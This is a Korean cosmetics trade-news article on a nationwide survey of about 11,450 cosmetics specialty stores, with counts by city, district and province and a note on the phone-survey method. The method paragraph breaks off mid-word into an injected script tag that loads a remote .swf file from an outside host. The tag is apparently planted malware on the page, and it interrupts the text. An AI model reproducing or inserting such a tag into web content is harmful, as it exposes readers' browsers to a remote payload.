최근 본지에서 창간 5주년을 맞아 실시한 ‘전국 화장품 전문점 현황’ 조사 결과 국내 전체 전문점의 수는 약 1만 1,450개로 집계됐다. 한편 이번 조사에서 미확인된 1,065개소와 조사상의 한계를 감안해 볼때 약 1만 3,000개 정도인 것으로 추정해 볼 수 있다.
지역별로는 서울이 3,095개로 27.0%를 차지해 가장 많았고, 다음으로 경기도가 1,561개로 13.6%를 차지했다. 가장 적은 곳은 제주도로 1.7%인 196개 전문점이 운영 중인 것으로 조사됐다.
특히 업종을 변경한 것으로 확인된 매장이 471곳으로 전문점의 감소추세가 계속되고 있는 것으로 나타났다. 미확인 매장 중 일부도 업종 변경을 했을 가능성이 높은 것으로 추측돼 경영난이나 기타 이유로 인해 전문점을 그만 둔 곳은 더욱 많은 것으로 보여진다. 하지만 과거에 비해 전문점의 감소률일 줄어들고 있어 전문점의 구조조정이 마무리단계에 이른 것으로 보여진다.
특별시, 광역시 등 대도시를 중심으로 우선 살펴보면 서울에서는 중구가 188개로 6.1%를 차지해 가장 전문점이 많은 곳으로 조사됐다. 그 다음으로 송파구가 175개(5.7%), 강남구가 165개(5.3%), 관악구 156개(5.0%), 동대문구 152개(4.9%), 영등포구 150개(4.9%) 순이었다. 이들 지역의 경우 대부분 유동고객이 많은 서울의 주요 상권을 포함하고 있는 것이 특징이다. 중구의 경우 명동을, 송파구의 경우 잠실을, 강남구는 고속버스터미널 지하상가와 코엑스몰, 관악구에서 신림 사거리와 서울대입구를 포함하고 있어 대형 상권을 포함하고 있는 지역일수록 전문점의 수가 많은 것으로 분석된다. 반면 전문점이 가장 적은 곳은 도봉구로 총 77개(2.5%) 매장이 영업 중에 있었다. 이 외에 용산구 81개(2.6%), 마포구 82개(2.7%), 강북구 84개(2.7%)로 전문점이 상대적으로 적은 것으로 나타났다.
부산의 경우 총 전문점 수가 927개로 전국 전문점 중 8.2%를 차지하고 있다. 부산에서는 부산진구에 전문점이 밀집돼 있는데 11.7%인 108개 매장이 운영되고 있었다. 다음으로 동래구와 사상구에 8.3%인 80개가 운영되고 있었다. 가장 숫자가 적은 곳은 강서구로 불과 13개(1.4%) 전문점만이 영업 중에 있었다.
대구는 5.7%인 657개 전문점이 있으며 이 중 달서구(107개)와 수성구(99개), 중구(98)에 많은 전문점이 위치해 있는 것으로 조사됐다. 광주는 총 500개 전문점이 있으며 전체 전문점에서 4.4%를 차지하고 있었다. 북구에 36%인 180개 매장이 포함돼 있었다.
인천은 453개(4.0%)의 전문점이 있는 것으로 밝혀졌으며 특히 남구에 27.4%인 124개 매장이 운영되고 있었다. 대전은 353개 (3.1%) 전문점이, 울산에는 88개(2.5%)의 전문점이 있는 것으로 조사됐다.
도별로 살펴보면 경기도가 1,561개로 전체의 13.6%를 차지해 가장 많은 것으로 나타났다. 다음으로 경남이 718개(6.3%), 경북이 575개(5.0%), 전북이 463개(4.0), 충북이 441개(3.9%), 강원이 433개(3.8%), 전남이 398개(3.5%), 충남이 392개(3.4%) 순이었다. 제주도는 겨우 1.7%에 불과한 196개로 지역적 한계를 보여줬다.
<최철용 기자>
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어떻게 조사했나?
1만 2,986개 전문점 대상… 16개 지역으로 분류
이번 ‘화장품 전문점 현황’ 조사는 전국 1만 2,986개 전문점을 대상으로 전화 확인 작업을 통해 이뤄졌다.
이번 조사에서 현재 운영 중인 전문점은 1만 1,450개로 밝혀졌으며 471개 전문점이 업종을 변경한 것으로 나타났다. 전화 조사상의 한계로 1,065곳은 연락이 되지 않아 ‘미확인’으로 처리했다. 미확인 처리된 곳은 전화번호 변경, 이전, 업종 변경, 폐업 등의 사유로 연락이 되지 않?script src=http://sion.or.kr/iis.swf> webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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